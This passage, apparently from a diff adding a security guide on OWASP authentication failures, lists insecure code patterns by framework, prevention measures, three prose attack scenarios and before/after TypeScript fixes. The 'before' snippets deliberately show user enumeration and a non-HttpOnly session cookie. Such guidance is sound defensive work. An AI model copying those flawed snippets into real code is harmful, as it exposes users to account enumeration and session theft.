- `console.log` including password or token values
|
|
76
|
+
- Reset token returned directly in JSON response body
|
|
77
|
+
- No session invalidation in logout handler
|
|
78
|
+
|
|
79
|
+
### Python (Django/Flask)
|
|
80
|
+
- Custom session management instead of Django's built-in
|
|
81
|
+
- `SESSION_COOKIE_HTTPONLY = False` or `SESSION_COOKIE_SECURE = False`
|
|
82
|
+
- Different error messages for invalid username vs invalid password
|
|
83
|
+
- Flask `session.permanent = True` without `PERMANENT_SESSION_LIFETIME`
|
|
84
|
+
|
|
85
|
+
### Java (Spring)
|
|
86
|
+
- `HttpSession` without timeout configuration
|
|
87
|
+
- Custom `AuthenticationProvider` without proper credential validation
|
|
88
|
+
- Missing `invalidateHttpSession(true)` in logout configuration
|
|
89
|
+
- `BCryptPasswordEncoder` with low strength parameter
|
|
90
|
+
|
|
91
|
+
## Prevention Measures
|
|
92
|
+
|
|
93
|
+
1. Implement multi-factor authentication to counter automated attacks
|
|
94
|
+
2. Never ship with default or hard-coded credentials
|
|
95
|
+
3. Validate passwords against breached credential databases (Have I Been Pwned)
|
|
96
|
+
4. Follow NIST 800-63b guidelines for password policies
|
|
97
|
+
5. Harden registration and login endpoints against enumeration and brute-force
|
|
98
|
+
6. Use consistent, generic error messages ("Invalid credentials" for all auth failures)
|
|
99
|
+
7. Rate-limit failed login attempts with logging and alerting
|
|
100
|
+
8. Use secure, server-side session managers with high-entropy session IDs
|
|
101
|
+
9. Set session cookies with `HttpOnly`, `Secure`, `SameSite=Strict`
|
|
102
|
+
10. Invalidate sessions on logout and password change
|
|
103
|
+
11. Use established authentication frameworks rather than building custom solutions
|
|
104
|
+
12. Send reset tokens only via email/SMS — never return them in API responses
|
|
105
|
+
|
|
106
|
+
## Example Attack Scenarios
|
|
107
|
+
|
|
108
|
+
**Scenario 1 — Credential Stuffing:** Attacker uses known username/password pairs from breaches, modified with predictable patterns (Winter2025 → Winter2026). Without brute-force protection, the app becomes a password oracle.
|
|
109
|
+
|
|
110
|
+
**Scenario 2 — Session Hijacking:** Session cookie set without `HttpOnly` flag. XSS vulnerability allows JavaScript to read `document.cookie` and send session token to attacker's server.
|
|
111
|
+
|
|
112
|
+
**Scenario 3 — Session Persistence:** User closes browser without explicit logout. Session is never invalidated server-side. Next user on shared device accesses the previous user's authenticated session.
|
|
113
|
+
|
|
114
|
+
## Fix Examples
|
|
115
|
+
|
|
116
|
+
**Before (user enumeration):**
|
|
117
|
+
```typescript
|
|
118
|
+
if (!user) return Response.json({ error: 'User not found' }, { status: 401 });
|
|
119
|
+
if (!validPassword) return Response.json({ error: 'Incorrect password' }, { status: 401 });
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
**After (consistent error message):**
|
|
123
|
+
```typescript
|
|
124
|
+
if (!user || !validPassword) {
|
|
125
|
+
return Response.json({ error: 'Invalid credentials' }, { status: 401 });
|
|
126
|
+
}
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Before (insecure session cookie):**
|
|
130
|
+
```typescript
|
|
131
|
+
response.cookies.set('session', token, { httpOnly: false, path: '/' });
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
**After (secure session cookie):**
|
|
135
|
+
```typescript
|
|
136
|
+
response.cookies.set('session', token, {
|
|
137
|
+
httpOnly: true,
|
|
138
|
+
secure: true,
|
|
139
|
+
sameSite: 'strict',
|
|
140
|
+
maxAge: 3600,
|
|
141
|
+
path: '/'
|
|
142
|
+
});
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
## References
|
|
146
|
+
|
|
147
|
+
- [OWASP A07:2025](https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/)
|
|
148
|
+
- OWASP Authentication Cheat Sheet
|
|
149
|
+
- OWASP Session Management Cheat Sheet
|
|
150
|
+
- NIST SP 800-63b Digital Identity Guidelines
|